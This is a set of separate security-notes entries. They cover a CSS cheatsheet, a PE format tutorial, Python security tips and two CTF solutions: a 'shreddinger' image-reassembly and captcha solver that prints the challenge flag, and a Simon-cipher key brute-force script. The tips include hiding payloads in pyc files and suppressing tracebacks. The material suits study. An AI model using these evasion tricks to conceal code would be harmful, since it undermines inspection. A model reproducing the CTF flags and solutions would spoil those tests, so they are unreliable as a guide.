flex-wrap: wrap; /* multi-line */ ``` ```css align-items: flex-start; /* vertical-align to top */ align-items: flex-end; /* vertical-align to bottom */ align-items: center; /* vertical-align to center */ align-items: stretch; /* same height on all (default) */ ``` ```css justify-content: flex-start; /* [xxx ] */ justify-content: center; /* [ xxx ] */ justify-content: flex-end; /* [ xxx] */ justify-content: space-between; /* [x x x] */ justify-content: space-around; /* [ x x x ] */ justify-content: space-evenly; /* [ x x x ] */ ``` } ### Child .container > div { ```css /* This: */ flex: 1 0 auto; /* Is equivalent to this: */ flex-grow: 1; flex-shrink: 0; flex-basis: auto; ``` ```css order: 1; ``` ```css align-self: flex-start; /* left */ margin-left: auto; /* right */ ``` } CSS Flexbox Tricks -------------- ### Vertical center ```css .container { display: flex; } .container > div { width: 100px; height: 100px; margin: auto; } ``` ### Vertical center (2) ```css .container { display: flex; /* vertical */ align-items: center; /* horizontal */ justify-content: center; } ``` ### Reordering ```css .container > .top { order: 1; } .container > .bottom { order: 2; } ``` ### Mobile layout ```css .container { display: flex; flex-direction: column; } .container > .top { flex: 0 0 100px; } .container > .content { flex: 1 0 auto; } ``` A fixed-height top bar and a dynamic-height content area. ### Table-like {.col-span-2} ```css .container { display: flex; } /* the 'px' values here are just suggested percentages */ .container > .checkbox { flex: 1 0 20px; } .container > .subject { flex: 1 0 400px; } .container > .date { flex: 1 0 120px; } ``` This creates columns that have different widths, but size accordingly according to the circumstances. ### Vertical ```css .container { align-items: center; } ``` Vertically-center all items. ### Left and right {.col-span-2} ```css .menu > .left { align-self: flex-start; } .menu > .right { align-self: flex-end; } ``` CSS Grid Layout ------------ ### Grid Template Columns ```css #grid-container { display: grid; width: 100px; grid-template-columns: 20px 20% 60%; } ``` ### fr Relative Unit ```css .grid { display: grid; width: 100px; grid-template-columns: 1fr 60px 1fr; } ``` ### Grid Gap ```css /*The distance between rows is 20px*/ /*The distance between columns is 10px*/ #grid-container { display: grid; grid-gap: 20px 10px; } ``` ### CSS Block Level Grid ```css #grid-container { display: block; } ``` ### CSS grid-row CSS syntax: - grid-row: grid-row-start / grid-row-end; #### Example ```css .item { grid-row: 1 / span 2; } ``` ### CSS Inline Level Grid ```css #grid-container { display: inline-grid; } ``` ### minmax() Function ```css {.wrap} .grid { display: grid; grid-template-columns: 100px minmax(100px, 500px) 100px; } ``` ### grid-row-start & grid-row-end CSS syntax: - grid-row-start: auto|row-line;<br> - grid-row-end: auto|row-line|span n; #### Example ```css grid-row-start: 2; grid-row-end: span 2; ``` ### CSS grid-row-gap ```css grid-row-gap: length; ``` Any legal length value, like px or %. 0 is the default value ### CSS grid-area ```css .item1 { grid-area: 2 / 1 / span 2 / span 3; } ``` ### Justify Items ```css #container { display: grid; justify-items: center; grid-template-columns: 1fr; grid-template-rows: 1fr 1fr 1fr; grid-gap: 10px; } ``` ### CSS grid-template-areas ```css .item { grid-area: nav; } .grid-container { display: grid; grid-template-areas: 'nav nav . .' 'nav nav . .'; } ``` ### Justify Self ```css #grid-container { display: grid; justify-items: start; } .grid-items { justify-self: end; } ``` The grid items are positioned to the right (end) of the row. ### Align Items ```css #container { display: grid; align-items: start; grid-template-columns: 1fr; grid-template-rows: 1fr 1fr 1fr; grid-gap: 10px; } ``` CSS Dynamic Content ------------ ### Variable Define CSS Variable ```css :root { --first-color: #16f; --second-color: #ff7; } ``` Variable Usage ```css #firstParagraph { background-color: var(--first-color); color: var(--second-color); } ``` See also: [CSS Variable](https://developer.mozilla.org/en-US/docs/Web/CSS/--*) ### Counter ```css /* Set "my-counter" to 0 */ counter-set: my-counter; ``` ```css /* Increment "my-counter" by 1 */ counter-increment: my-counter; ``` ```css /* Decrement "my-counter" by 1 */ counter-increment: my-counter -1; ``` ```css /* Reset "my-counter" to 0 */ counter-reset: my-counter; ``` See also: [Counter set](https://developer.mozilla.org/en-US/docs/Web/CSS/counter-set) ### Using counters ```css body { counter-reset: section; } h3::before { counter-increment: section; content: "Section." counter(section); } ``` ```css ol { counter-reset: section; list-marker-type: none; } li::before { counter-increment: section; content: counters(section, ".") " "; } ``` Css 3 tricks ------------ ### Scrollbar smooth ```css html { scroll-behavior: smooth; } ``` [Click me](#css-getting-started), the page will scroll smoothly to Getting started Also see {.cols-1} --------- - [CSS selectors cheatsheet](https://frontend30.com/css-selectors-cheatsheet/) _(frontend30.com)_ - [MDN: Using CSS flexbox](https://developer.mozilla.org/en-US/docs/Web/Guide/CSS/Flexible_boxes) - [Ultimate flexbox cheatsheet](http://www.sketchingwithcss.com/samplechapter/cheatsheet.html) - [GRID: A simple visual cheatsheet](http://grid.malven.co/) - [CSS Tricks: A Complete Guide to Grid](https://css-tricks.com/snippets/css/complete-guide-grid/) - [Browser support](https://caniuse.com/#feat=css-grid)
sec-knowleage
nisdomainname === 显示主机NIS的域名 ## 补充说明 **nisdomainname命令** 用于显示主机NIS的域名。 ### 语法 ```shell nisdomainname(选项) ``` ### 选项 ```shell -v:详细信息模式。 ```
sec-knowleage
# PE --- PE 与 ELF 文件基本相同,也是采用了基于段的格式,同时 PE 也允许程序员将变量或者函数放在自定义的段中, GCC 中 attribute(section('name')) 扩展属性。 PE 文件的前身是 COFF,所以分析 PE 文件,先来看看 COFF 的文件格式,他保存在 WinNT.h 文件中。 COFF 的文件格式和 ELF 几乎一样 | Image Header | |-------------------------------------| | SectionTable Image\_SECTION\_HEADER | | \.text | | \.data | | \.drectve | | \.debug$S | | \.\.\. other sections | | Symbol Table | 文件头定义在 WinNT.h 中,我们打开来看一下: - https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_file_header ```h typedef struct _IMAGE_FILE_HEADER { WORD Machine; WORD NumberOfSections; DWORD TimeDateStamp; DWORD PointerToSymbolTable; DWORD NumberOfSymbols; WORD SizeOfOptionalHeader; WORD Characteristics; } IMAGE_FILE_HEADER,*PIMAGE_FILE_HEADER; ``` 我们可以看到,它这个文件头和 ELF 实际上是一样的,也在文件头中定义了段数,符号表的位置,Optional Header 的大小,这个Optional Header 后边就看到了,他就是 PE 可执行文件的文件头的部分,以及段的属性等。 跟在文件头后边的是 COFF 文件的段表,结构体名叫 IMAGE_SECTION_HEADER : - https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_section_header ```h typedef struct _IMAGE_SECTION_HEADER { BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; union { DWORD PhysicalAddress; DWORD VirtualSize; } Misc; DWORD VirtualAddress; DWORD SizeOfRawData; DWORD PointerToRawData; DWORD PointerToRelocations; DWORD PointerToLinenumbers; WORD NumberOfRelocations; WORD NumberOfLinenumbers; DWORD Characteristics; } IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER; ``` 属性包括这些,和ELF 没差: - 段名 - 物理地址 PhysicalAddress - 虚拟地址 VirtualAddress - 原始数据大小 Sizeof raw data - 段在文件中的位置 File pointer to raw data - 该段的重定位表在文件中的位置 File pointer to relocation table - 该段的行号表在文件中的位置 File pointer to line number - 标志位,包括段的类型,对齐方式,读取权限等标志。 --- ## DOS 头 在我们分析 PE 的之前,还有另外一个头要了解一下,DOS 头,不得不说,微软事儿还是挺多的。 微软在创建 PE 文件格式时,人们正在广泛使用 DOS 文件,所以微软为了考虑兼容性的问题,所以在 PE 头的最前边还添加了一个 IMAGE_DOS_HEADER 结构体,用来扩展已有的 DOS EXE。在 WinNTFS.h 里可以看到他的身影。 ```h typedef struct _IMAGE_DOS_HEADER { // DOS .EXE header WORD e_magic; // Magic number WORD e_cblp; // Bytes on last page of file WORD e_cp; // Pages in file WORD e_crlc; // Relocations WORD e_cparhdr; // Size of header in paragraphs WORD e_minalloc; // Minimum extra paragraphs needed WORD e_maxalloc; // Maximum extra paragraphs needed WORD e_ss; // Initial (relative) SS value WORD e_sp; // Initial SP value WORD e_csum; // Checksum WORD e_ip; // Initial IP value WORD e_cs; // Initial (relative) CS value WORD e_lfarlc; // File address of relocation table WORD e_ovno; // Overlay number WORD e_res[4]; // Reserved words WORD e_oemid; // OEM identifier (for e_oeminfo) WORD e_oeminfo; // OEM information; e_oemid specific WORD e_res2[10]; // Reserved words LONG e_lfanew; // File address of new exe header } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER; ``` DOS 头结构体的大小是 40 字节,这里边有两个重要的成员,需要知道,一个是 e_magic 魔数,一个是 e_lfanew,它只是了 NT 头的偏移。 对于 PE 文件来说,这个 e_magic,也就是 DOS 签名都是 MZ,据说是一个叫 Mark Zbikowski 的开发人员在微软设计了这种 ODS 可执行文件,所以... 我们以 Windows 下的 notepad++ 的可执行文件为例,在二进制编辑软件中打开,此类软件比较多,WinHex 打开: 开始的两个字节是 4D5A,e_lfanew 为 00000110 注意存储顺序,小端。 你以为开头加上了 DOS 头就完事了么,就可以跟着接 PE 头了么。为了兼容 DOS 当然不是这么简单了,紧接着 DOS 头,跟的是 DOS 存根,DOS stub。这一块就是为 DOS 而准备的,对于 PE 文件,即使没有它也可以正常运行。 旁边的 ASCII 是读不懂的,因为他是机器码,是汇编,为了在 DOS 下执行,对于 notepad++ 来说,这里是执行了一句,this program cannot be run in DOS mode 然后退出。 --- ## NT头 下面进入正题,在二进制编辑软件上也看到了 PE,这一块就是正式的步入 PE 的范畴。 - https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_nt_headers32 - https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_nt_headers64 ```h typedef struct _IMAGE_NT_HEADERS { DWORD Signature; IMAGE_FILE_HEADER FileHeader; IMAGE_OPTIONAL_HEADER32 OptionalHeader; } IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32; ``` 这是 32 位的 PE 文件头定义。第一个成员就是签名,如我们所说,就是我们看到的「PE」,对应为 50450000h。 这里边有两个东西,第一个就是我们之前看到的 COFF 文件头,这里直接放进来了,我们不再分析。 看第二个,IMAGE_OPTIONAL_HEADER 不是说这个头可选,而是里边有些变量是可选的,而且有一些变量是必须的,否则会导致文件无法运行: - https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_optional_header32 - https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_optional_header64 ```h typedef struct _IMAGE_OPTIONAL_HEADER { WORD Magic; BYTE MajorLinkerVersion; BYTE MinorLinkerVersion; DWORD SizeOfCode; DWORD SizeOfInitializedData; DWORD SizeOfUninitializedData; DWORD AddressOfEntryPoint; DWORD BaseOfCode; DWORD BaseOfData; DWORD ImageBase; DWORD SectionAlignment; DWORD FileAlignment; WORD MajorOperatingSystemVersion; WORD MinorOperatingSystemVersion; WORD MajorImageVersion; WORD MinorImageVersion; WORD MajorSubsystemVersion; WORD MinorSubsystemVersion; DWORD Win32VersionValue; DWORD SizeOfImage; DWORD SizeOfHeaders; DWORD CheckSum; WORD Subsystem; WORD DllCharacteristics; DWORD SizeOfStackReserve; DWORD SizeOfStackCommit; DWORD SizeOfHeapReserve; DWORD SizeOfHeapCommit; DWORD LoaderFlags; DWORD NumberOfRvaAndSizes; IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; } IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32; ``` 有这么几个需要重点关注的成员,这些都是文件运行所必需的: - Magic 魔数,对于 32 结构体来说是 10B,对于 64 结构体来说是 20B. - AddressOfEntryPoint 持有 EP 的 RVA 值,之处程序最先执行的代码起始位置,也就是程序入口。 - ImageBase 进程虚拟内存的范围是 0-FFFFFFFF (32位)。PE 文件被加载到这样的内存中,ImageBase 指出文件的优先装入位置。 - SectionAlignment, FileAlignment PE 文件的 Body 部分划分为若干段,FileAlignment 之处段在磁盘文件中的最小单位,SectionAlignment指定了段在内存中的最小单位。 - SizeOfImage 指定 PE Image 在虚拟内存中所占的空间大小。 - SizeOfHeader PE 头的大小。 - Subsystem 用来区分系统驱动文件与普通可执行文件。 - NumberOfRvaAndSizes 指定 DataDirectory 数组的个数,虽然最后一个值,指出个数是 16,但实际上 PE 装载还是通过识别这个值来确定大小的。至于 DataDirectory 是什么看下边 - DataDirectory 它是一个由 IMAGE_DATA_DIRECTORY 结构体组成的数组,数组每一项都有定义的值,里边有一些重要的值,EXPORT/IMPORT/RESOURCE, TLS direction 是重点关注的。 --- ## 段头 PE 的段头直接沿用的 COFF 的段头结构,上边也说过了,我们查看 notepad++ 的段头,可以获得各个段名,以及其信息,这里,我们可以使用一些软件查看,更加方便,这里使用 010 Editor: --- ## RVA to RAW 理解 PE 最重要的一个部分就是理解文件从磁盘到内存地址的映射过程,做逆向的人员,只有熟练地掌握才能跟踪到程序的调用过程和位置,才能分析和寻找漏洞。 对于文件和内存的映射关系,其实很简单,他们通过一个简单的公式计算而来: 换算公式是这样的: RAW -PointToRawData = RVA - VirtualAddress 寻找过程就是先找到 RVA 所在的段,然后根据公式计算出文件偏移。因为我们通过逆向工具,可以在内存中查找到所在的 RVA,进而我们就可以计算出在文件中所在的位置,这样,就可以手动进行修改。 一些软件查看载入的段头,其中的 V Addr, 实际上就是 VirtualAddress,R offset 就是 PointerToRawData。 假如我们的 RVA 地址是 5000,那么计算方法就是,查看区段,发现在 .text 中,5000-1000+400 = 4400,这就是 RAW 00004400,而实际上,因为我们的 ImageBase 是 00400000,所以,我们在反编译时候内存中的地址是 00405000. 接下来,使我们的 PE 头中的核心内容,IAT 和 EAT,也就是 Import address table, export address table. --- ## IAT 导入地址表的内容与 Windows 操作系统的核心进程,内存,DLL 结构有关。他是一种表格,记录了程序使用哪些库中的哪些函数。 下面,让我们把目光转到 DLL 上,Dynamic Linked Library 支撑了整个 OS。DLL 的好处在于,不需要把库包含在程序中,单独组成 DLL 文件,需要时调用即可,内存映射技术使加载后的 DLL 代码,资源在多个进程中实现共享,更新库时候只要替换相关 DLL 文件即可。 加载 DLL 的方式有两种,一种是显式链接,使用 DLL 时候加载,使用完释放内存。另一种是隐式链接,程序开始就一同加载 DLL,程序终止的时候才释放掉内存。而 IAT 提供的机制与隐式链接相关,最典型的 Kernel32.dll。 我们来看看 notepad++ 调用 kernel32.dll 中的 CreateFileW 我们看到填入参数之后,call 了 35d7ffff 地址的内容,然后我们去 dump 窗口,找一下 kernel.CreateFileW: 我们双击汇编窗口,启动编辑,发现确实是 call 的这个数值: 可是问题来了,上边是 E8 35D7FFFF,下边地址却是 00C62178。其实这是 Windows 的 ASLR 技术,主要就是针对缓冲溢出攻击的一种保护技术,通过随机化布局,让逆向跟踪者,难以查找地址,就难以简单的进行溢出攻击。不过还是可以通过跳板的方式,找到溢出的办法,这就是后话了。 现在可以确定的是,35D7FFFF 可以认为保存的数值就是 CreateFileW 的地址。而为什么不直接使用 CALL 7509168B 这种方式直接调用呢? Kernel32.dll 版本各不相同,对应的 CreateFileW 函数也各不相同,为了兼容各种环境,编译器准备了 CreateFileW 函数的实际地址,然后记下 DWORD PTR DS:[xxxxxx] 这样的指令,执行文件时候,PE 装载器将 CreateFileW 函数地址写到这个位置。 同时,由于重定位的原因存在,所以也不能直接使用 CALL 7509168B 的方式,比如两个 DLL 文件有相同的 ImageBase,装载的时候,一个装载到该位置之后,另一个就不能装载该位置了,需要换位置。所以我们不能对实际地址进行硬编码。 IMAGE_IMPORT_DESCRIPTOR ```h IMAGE_IMPORT_DESCRIPTOR typedef struct _IMAGE_IMPORT_DESCRIPTOR { union { DWORD Characteristics; DWORD OriginalFirstThunk;//指向输入名称表的表(INT)的RVA }; DWORD TimeDateStamp; DWORD ForwarderChain; DWORD Name;//指向导入映像文件的名称 DWORD FirstThunk;//指向输入地址表的表(IAT)的RVA } IMAGE_IMPORT_DESCRIPTOR; typedef struct _IMAGE_THUNK_DATA32 { union { PBYTE ForwarderString; //指向一个转向者字符串的RVA; PDWORD Function; //被输入的函数的内存地址; DWORD Ordinal; //被输入的API的序数值 PIMAGE_IMPORT_BY_NAME AddressOfData; //指向IMAGE_IMPORT_BY_NAME } u1; } IMAGE_THUNK_DATA32; typedef struct _IMAGE_IMPORT_BY_NAME { WORD Hint;//ordinal BYTE Name[1];//function name string } IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME; ``` 对于一个普通程序来说,需要导入多少个库,就会存在多少个这样的结构体,这些结构体组成数组,然后数组最后是以NULL 结构体结束。其中有几个重要的成员: - OriginalFirstThunk INT Import Name Table 地址,RVA - Name 库名称字符串地址,RVA,就是说该地址保存库名称 - First Thunk IAT 地址 RVA - INT 中个元素的值是上边那个IMAGE_IMPORT_BY_NAME 结构体指针。 - INT 与 IAT 大小应相同。 那么 PE 是如何导入函数输出到 IAT 的: 1. 读取 NAME 成员,获取扩名称字符串 2. 装载相应库: LoadLibrary("kernel32.dll") 3. 读取 OriginalFirstThunk 成员,获取 INT 地址 4. 读取 INT 数组中的值,获取相应的 IMAGE_IMPORT_BY_NAME地址,是 RVA 地址 5. 使用 IMAGE_IMPORT_BY_NAME 的 Hint 或者是 name 项,获取相应函数的起始位置 GetProcAddress("GetCurrentThreadId") 6. 读取 FistrThunk 成员,获得 IAT 地址。 7. 将上面获得的函数地址输入相应 IAT 数组值。 8. 重复 4-7 到 INT 结束。 这里就产生了一个疑惑,OriginalFirstThunk 和 First Thunk 都指向的是函数,为什么多此一举呢? 首先,从直观上说,两个都指向了库中引入函数的数组,鱼C 画的这张图挺直观: OriginalFirstThunk 和 FirstThunk 他们都是两个类型为 IMAGE_THUNK_DATA 的数组,它是一个指针大小的联合(union)类型。 每一个 IMAGE_THUNK_DATA 结构定义一个导入函数信息(即指向结构为 IMAGE_IMPORT_BY_NAME 的家伙,这家伙稍后再议)。 然后数组最后以一个内容为 0 的 IMAGE_THUNK_DATA 结构作为结束标志。 IMAGE_THUNK_DATA32 结构体如下: ```h typedef struct _IMAGE_THUNK_DATA32 { union { DWORD ForwarderString; // 一个RVA地址,指向forwarder string DWORD Function; // PDWORD,被导入的函数的入口地址 DWORD Ordinal; // 该函数的序数 DWORD AddressOfData; // 一个RVA地址,指向IMAGE_IMPORT_BY_NAME } u1; } IMAGE_THUNK_DATA32; ``` 因为是Union 结构,IMAGE_THUNK_DATA 事实上是一个双字大小。 规定如下: 当 IMAGE_THUNK_DATA 值的最高位为 1时,表示函数以序号方式输入,这时候低 31 位被看作一个函数序号。 当 IMAGE_THUNK_DATA 值的最高位为 0时,表示函数以字符串类型的函数名方式输入,这时双字的值是一个 RVA,指向一个 IMAGE_IMPORT_BY_NAME 结构。 我们再看 IMAGE_IMPORT_BY_NAME 结构: ```h typedef struct _IMAGE_IMPORT_BY_NAME { WORD Hint; // 该函数的导出序数 BYTE Name[1]; // 该函数的名字 } IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME; ``` 结构中的 Hint 字段也表示函数的序号,不过这个字段是可选的,有些编译器总是将它设置为 0。 Name 字段定义了导入函数的名称字符串,这是一个以 0 为结尾的字符串。 第一个数组(由 OriginalFirstThunk 所指向)是单独的一项,而且不能被改写,我们前边称为 INT。第二个数组(由 FirstThunk 所指向)事实上是由 PE 装载器重写的。 PE 装载器装载顺序正如上边所讲的那样,我们再将它讲详细一点: PE 装载器首先搜索 OriginalFirstThunk ,找到之后加载程序迭代搜索数组中的每个指针,找到每个 IMAGE_IMPORT_BY_NAME 结构所指向的输入函数的地址,然后加载器用函数真正入口地址来替代由 FirstThunk 数组中的一个入口,因此我们称为输入地址表(IAT). 所以,在读取一次 OriginalFirstThunk 之后,程序就是依靠 IAT 提供的函数地址来运行了。 --- ## EAT 搞清楚了 IAT 的原理,EAT 就好理解了,长话短说。IAT 是导入的库和函数的表,那么 EAT 就对应于导出,它使不同的应用程序可以调用库文件中提供的函数,为了方便导出函数,就需要保存这些导出信息。 回头看 PE 文件中的 PE 头我们可以看到 IMAGE_EXPORT_DIRECTORY 结构体以的位置,他在 IMAGE_OPTIONAL_HEADER32.DataDirectory[0].VirtualAddress 的值就是 IMAGE_EXPORT_DIREDCTORY 的起始位置。 IMAGE_EXPORT_DIRECTORY 结构体如下: ```h typedef struct _IMAGE_EXPORT_DIRECTORY { DWORD Characteristics; //保留 总是定义为0 DWORD TimeDateStamp; //文件生成时间 WORD MajorVersion; //主版本号 一般不赋值 WORD MinorVersion; //次版本号 一般不赋值 DWORD Name; //模块的真实名称 DWORD Base; //索引基数 加上序数就是函数地址数组的索引值 DWORD NumberOfFunctions; //地址表中个数 DWORD NumberOfNames; //名称表的个数 DWORD AddressOfFunctions; //输出函数地址的 RVA DWORD AddressOfNames; //输出函数名字的 RVA DWORD AddressOfNameOrdinals; //输出函数序号的 RVA } IMAGE_EXPORT_DIRECTORYM, *pIMAGE_EXPORT_DIRECTORY; ``` 这里边同样是这么几个重要的成员: - NumberOfFunctions 实际Export 函数的个数 - NumberOfNames Export 函数中具名的函数个数 - AddressOfFunctins Export 函数地址数组,数组个数是上边的NOF - AddressOfNames 函数名称地址数组,个数是上边的NON - AddressOfNameOrdinals Ordinal 地址数组,个数等于上边NON - Name 一个RVA 值,指向一个定义了模块名称的字符串。如即使Kernel32.dll 文件被改名为”Ker.dll”。仍然可以从这个字符串中的值得知其在编译时的文件名是”Kernel32.dll”。 - Base:导出函数序号的起始值,将AddressOfFunctions 字段指向的入口地址表的索引号加上这个起始值就是对应函数的导出 序号。 以kernel32.dll 为例,我们看一下: 从上边这些成员,我们实际上可以看出,是有两种方式提供给那些想调用该库中函数的,一种是直接从序号查找函数入口地址导入,一种是通过函数名来查找函数入口地址导入。 上边图,注意一点,因为 AddressOfNameOrdinals 的序号应当是从 0 开始的,不过图中映射的是第二个函数指向的序号 1。 **当已知导出序号的时候** 1. Windows 装载器定位到PE 文件头, 2. 从PE 文件头中的 IMAGE_OPTIONAL_HEADER32 结构中取出数据目录表,并从第一个数据目录中得到导出表的RVA , 3. 从导出表的 Base 字段得到起始序号, 4. 将需要查找的导出序号减去起始序号,得到函数在入口地址表中的索引, 5. 检测索引值是否大于导出表的 NumberOfFunctions 字段的值,如果大于后者的话,说明输入的序号是无效的用这个索引值在 AddressOfFunctions 字段指向的导出函数入口地址表中取出相应的项目,这就是函数入口地址的RVA 值,当函数被装入内存的时候,这个RVA 值加上模块实际装入的基地址,就得到了函数真正的入口地址 **当已知函数名称查找入口地址时** 1. 从导出表的 NumberOfNames 字段得到已命名函数的总数,并以这个数字作为循环的次数来构造一个循环 2. 从 AddressOfNames 字段指向得到的函数名称地址表的第一项开始,在循环中将每一项定义的函数名与要查找的函数名相比较,如果没有任何一个函数名是符合的,表示文件中没有指定名称的函数,如果某一项定义的函数名与要查找的函数名符合,那么记下这个函数名在字符串地址表中的索引值,然后在 AddressOfNamesOrdinals 指向的数组中以同样的索引值取出数组项的值,我们这里假设这个值是x 3. 最后,以 x 值作为索引值,在 AddressOfFunctions 字段指向的函数入口地址表中获取的 RVA 就是函数的入口地址 一般来说,做逆向或者是写代码都是第二种方法,我们以 kernel32.dll 中的 GetProcAddress 函数为例,其操作原理如下: 1. 利用 AddressOfNames 成员转到 『函数名称数组』 2. 『函数名称数组』中存储着字符串地址,通过比较字符串,查找指定的函数名称,此时数组所以为成为name_index 3. 利用 AddressOfNameOrdinals 成员,转到这个序号数组 4. 在ordinal 数组中通过name_index 查找到相应的序号 5. 利用AddressOfFunctions 成员,转到『函数地址数组』EAT 6. 在EAT 中将刚刚得到的ordinal 作为索引,获得指定函数的入口地址 --- ## Source & Reference - [ELF&PE 文件结构分析](https://www.jianshu.com/p/af9766222816)
sec-knowleage
import numpy as np from PIL import Image import sys import math import glob import scipy.misc import pytesseract import subprocess import matplotlib.pyplot as plt import random def captcha(image): letters = "ABCDEF1234567890" let = {} for l in letters: f = Image.open("charset/%c.png" % l).convert("L") f = np.array(f.getdata(), dtype=np.uint8).reshape(f.size[::-1]) let[l] = f < 255 chars = [] while True: #plt.imshow(image) #plt.show() best = [] for l in let: letter = let[l] area = letter.shape[0] * letter.shape[1] i = 9 #for i in range(image.shape[0] - letter.shape[0] + 1): for j in range(image.shape[1] - letter.shape[1] + 1): diff = image[i:i+letter.shape[0], j:j+letter.shape[1]] ^ letter diff = np.sum(diff) / float(area) best.append((diff, l, i, j)) best.sort() diff, l, i, j = best[0] if diff > 0.1: break chars.append((j, l)) print diff, "".join(c[1] for c in sorted(chars)) image[i:i+let[l].shape[0], j:j+let[l].shape[1]] = 0 return "".join(c[1] for c in sorted(chars)) def solve(directory): files = sorted(glob.glob(directory + "/*")) images = [] for i, f in enumerate(files): f = Image.open(f).convert("L") f = np.array(f.getdata(), dtype=np.uint8).reshape(f.size[::-1]) images.append(f) images.append(np.full((1400, 10), 255)) images = [images[-1]] + images n = len(images) weights = {} for i in range(n): for j in range(n): for ri in range(2): for rj in range(2): if ri == 0: l = images[i][:, 9] else: l = images[i][::-1, 0] if rj == 0: r = images[j][:, 0] else: r = images[j][::-1, 9] weights[(i, j, ri, rj)] = np.sum(np.abs(l - r)) with open("/tmp/spec", "w") as f: f.write(str(n)+"\n") for i in range(n): for j in range(n): for ri in range(2): for rj in range(2): f.write(str(weights[(i, j, ri, rj)])+"\n") ss = subprocess.check_output(["./a.out"]) ss = [int(c) for c in ss.split()] perm = ss[:n] rots = ss[n:] imgs = [] for i in perm: imgs.append(images[i]) for i, r in enumerate(rots): if r: imgs[i] = np.rot90(imgs[i], 2) image = np.concatenate(imgs, axis=1) image = image[680:720, :] if np.min(image[35, :]) != 0: image = np.rot90(image, 2) image = image < 255 scipy.misc.imsave("temp.png", image) txt = captcha(image) print "Final captcha:", txt return txt from requests import Session import os os.system("rm -r /tmp/chall") os.system("mkdir /tmp/chall") s = Session() s.get("http://shreddinger.challs.malice.fr/") r = s.get("http://shreddinger.challs.malice.fr/challenge_accepted") with open('/tmp/challenge.zip', 'wb') as f: f.write(r.content) os.system("unzip /tmp/challenge.zip -d /tmp/chall") code = solve("/tmp/chall") r = s.post("http://shreddinger.challs.malice.fr/", data={"shredded_token":code}) print(r.content) # <strong>Congratz !</strong> The flag is : NDH{H0ly_fr@cking_PONY_!--D3Ath-to-the_0n3_whO-ordered_piZzas-w!th_pineapple_!}
sec-knowleage
# Python安全 --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- ## 代码混淆 - [Hnfull/Intensio-Obfuscator: Obfuscate a python code 2.x and 3.x](https://github.com/Hnfull/Intensio-Obfuscator) --- ## 编译成二进制 - Pyinstaller - py2exe - [Nuitka/Nuitka](https://github.com/Nuitka/Nuitka) --- ## 隐藏 Traceback 信息 Python 运行报错时打印的 Trackback 信息也会泄露一些信息,可以使用如下方法隐藏: ```py import sys sys.stderr = open("/dev/null", 'w') ``` --- ## pyc ### pyc 反编译 - [pyc反编译](./Python安全/pyc反编译.md) ### pyc 隐写 - [AngelKitty/stegosaurus](https://github.com/AngelKitty/stegosaurus) - Stegosaurus是一个隐写工具,它允许我们在Python字节码文件(pyc或pyo)中嵌入任意的Payloads。由于编码密度低,嵌入Payloads的过程不会改变源代码的运行行为,也不会改变源文件的文件大小。Payload 代码散布在字节码中,所以像 strings 这样的代码工具无法找到实际的 Payload。Python的dis模块返回源文件的字节码,然后我们可以使用Stegosaurus来嵌入Payload。Stegosaurus 仅支持 Python3.6 及其以下版本 --- ## 沙箱逃逸 - [沙箱逃逸](./Python安全/沙箱逃逸.md) --- ## flask 安全 - [flask安全](../Web安全/实验/flask.md) --- ## Python 代码审计 - [Python代码审计](./Python安全/Python代码审计.md)
sec-knowleage
# Simon and Speck Block Ciphers 这是一组姐妹轻量级加密。 ## Simon Block Cipher ### 基本介绍 Simon 块加密算法由 NSA 2013 年 6 月公布,主要在**硬件实现**上进行了优化。 Simon Block Cipher 是平衡的 [Feistel cipher](https://en.wikipedia.org/wiki/Feistel_cipher) 加密,一共有两块,若每块加密的大小为 n bits,那么明文的大小就是 2n bits。此外,一般来说,该加密中所使用的密钥长度是块长度的整数倍,比如 2n,4n等。常见的 Simon 加密算法有 一般来说,Simon 算法称之为 Simon 2*n*/nm,n 为块大小,m 是块大小与密钥之间的倍数。比如说 Simon 48/96 就是指明文是 48 比特,密钥是 96 比特的加密算法。 此外,对于 Simon 块加密算法来说,每轮的加密过程一样,如下 当然,对于每一轮以及不同的 m 来说,密钥也会有所不同 其中, $z_j$ 是由 Linear Feedback Shift Register (LFSR) 生成的,虽然对于不同的 $z_j$ 的逻辑不同,但是初始向量是固定的。 | Constant | | :--------------------------------------: | | $z_{0}$=11111010001001010110000111001101111101000100101011000011100110 | | $z_{1}$=10001110111110010011000010110101000111011111001001100001011010 | | $z_{2}$=10101111011100000011010010011000101000010001111110010110110011 | | $z_{3}$=11011011101011000110010111100000010010001010011100110100001111 | | $z_{4}$=11010001111001101011011000100000010111000011001010010011101111 | ### 2017 SECCON Simon and Speck Block Ciphers 题目描述如下 ``` Simon and Speck Block Ciphers https://eprint.iacr.org/2013/404.pdf Simon_96_64, ECB, key="SECCON{xxxx}", plain=0x6d564d37426e6e71, cipher=0xbb5d12ba422834b5 ``` 从名字中可以看出密钥是 96 比特(12 byte),明文是 64 比特(8字节),而密钥已经给出了 8 个字节,只剩下四个字节未知。那我们可以使用暴力破解的方法。这里从 https://github.com/bozhu/NSA-ciphers/blob/master/simon.py 获取了一份 simon 加密算法。 具体如下 ```python from pwn import * from simon import SIMON plain = 0x6d564d37426e6e71 cipher = 0xbb5d12ba422834b5 def compare(key): key = "SECCON{" + key + "}" key = key.encode('hex') key = int(key, 16) my_simon = SIMON(64, 96, key) test = my_simon.encrypt(plain) if test == cipher: return True else: return False def solve(): visible = string.uppercase + string.lowercase + string.digits + string.punctuation + " " key = pwnlib.util.iters.mbruteforce(compare, visible, 4, method="fixed") print key if __name__ == "__main__": solve() ``` 结果如下 ```shell ➜ 